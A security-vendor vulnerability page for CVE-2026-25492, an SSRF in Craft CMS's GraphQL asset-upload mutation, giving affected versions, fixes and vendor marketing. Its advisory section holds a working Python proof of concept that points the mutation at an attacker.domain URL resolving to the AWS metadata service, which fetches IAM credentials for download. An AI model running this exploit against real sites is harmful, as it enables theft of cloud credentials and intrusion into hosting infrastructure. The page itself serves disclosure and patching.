CVE-2026-25492

CVE-2026-25492 is a medium-severity server-side request forgery (SSRF) vulnerability in craftcms/craft (composer), affecting versions >= 5.0.0-RC1, <= 5.8.21. It is fixed in 5.8.22, 4.16.18.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Craft CMS: saveimagesAsset graphql mutation can be abused to exfiltrate AWS credentials of underlying host

  • The save_images_Asset graphql mutation allows a user to give a url of an image to download. (Url must use a domain, not a raw IP.)
  • Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP)
  • Attacker invokes save_images_Asset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename "foo.txt"
  • Craft fetches sensitive information on attacker's behalf, and makes it available for download at /assets/images/foo.txt
  • Normal checks to verify that image is valid are bypassed because of .txt extension
  • Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address

Details

handleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the save_images_Asset mutation.

It has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):

   } elseif (!empty($fileInformation['url'])) {
            $url = $fileInformation['url'];

            // make sure the hostname is alphanumeric and not an IP address
            $hostname = parse_url($url, PHP_URL_HOST);
            if (
                !filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) ||
                filter_var($hostname, FILTER_VALIDATE_IP)
            ) {
                throw new UserError("$url contains an invalid hostname.");
            }

            if (empty($fileInformation['filename'])) {
                $filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFO_BASENAME));
            } else {
                $filename = AssetsHelper::prepareAssetName($fileInformation['filename']);
            }

            $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
            if (is_array($allowedExtensions) && !in_array($extension, $allowedExtensions, true)) {
                throw new AssetDisallowedExtensionException(Craft::t('app', "“{$extension}” is not an allowed file extension."));
            }

The upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.

An authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance's internal network.

  • First, the attacker must register a domain -- e.g. attacker.domain.
  • Next, they must point their domain at the sensitive internal ip they'd like to access (e.g. 169.254.169.254)
  • Next, they make a request to save_images_Asset with url set to http://attacker.domain/sensitive/path with filename set to "something.txt"
  • Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information

PoC

Preconditions

  • Graphql access must be enabled
  • Attacker must have access to a graphql token
  • Token must be configured to have access to save_images_Asset mutation
  • Attacker must have configured a domain, "attacker.domain" pointing to the sensitive internal IP address they'd like to access
  • .txt must be an allowed extension for uploads via save_images_Asset (as it is by default)

Code

import requests

# Replace GRAPHQL_ENDPOINT and BEARER_TOKEN per target.
GRAPHQL_ENDPOINT = 'http://localhost:8080/actions/graphql/api'
TOKEN = '<TOKEN HERE>'

mutation = '''
mutation SaveAsset($_file: FileInput!, $title: String, $focalPoint: String) { save_images_Asset(_file: $_file,
   title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } }
'''

variables = {
  '_file': {
    'url' : "http://attacker.domain/latest/meta-data/iam/security-credentials",
    'filename': 'foo.txt'

  },
  "title": "my photo",
  "focalPoint": "0.5;0.5"

}

resp = requests.post(GRAPHQL_ENDPOINT,
                     json={'query': mutation, 'variables': variables},
                     headers={'Authorization': f'Bearer {TOKEN}'})
print(resp.status_code, resp.text)

If attack is successful, response to running this script will be something like:

200 {"data":{"save_images_Asset":{"id":"211403","title":"my photo","url":"http://localhost:8080/assets/volumes/images/foo.txt","filename":"foo.txt","focalPoint":null,"dateCreated":"2025-12-18T09:45:24-08:00"}}}

Attacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt

Impact

Impacted users must:

  • Have graphql enabled
  • Have a graphql token created with permissions to use save_images_Asset
  • Have graphql token stolen by attacker or abused by malicious insider

Impact is heightened if:

  • craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata.

Ultimate result is:

Attacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

Affected versions

craftcms/craft (>= 5.0.0-RC1, <= 5.8.21) craftcms/craft (>= 3.5.0, <= 4.16.17)

Security releases

craftcms/craft → 5.8.22 (composer) craftcms/craft → 4.16.18 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

craftcms/craft to 5.8.22 or later; craftcms/craft to 4.16.18 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-25492? CVE-2026-25492 is a medium-severity server-side request forgery (SSRF) vulnerability in craftcms/craft (composer), affecting versions >= 5.0.0-RC1, <= 5.8.21. It is fixed in 5.8.22, 4.16.18. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. Which versions of craftcms/craft are affected by CVE-2026-25492? craftcms/craft (composer) versions >= 5.0.0-RC1, <= 5.8.21 is affected.
  3. Is there a fix for CVE-2026-25492? Yes. CVE-2026-25492 is fixed in 5.8.22, 4.16.18. Upgrade to this version or later.
  4. Is CVE-2026-25492 exploitable, and should I be worried? Whether CVE-2026-25492 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-25492 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-25492?
    • Upgrade craftcms/craft to 5.8.22 or later
    • Upgrade craftcms/craft to 4.16.18 or later

Stop the waste.
Protect your environment with Kodem.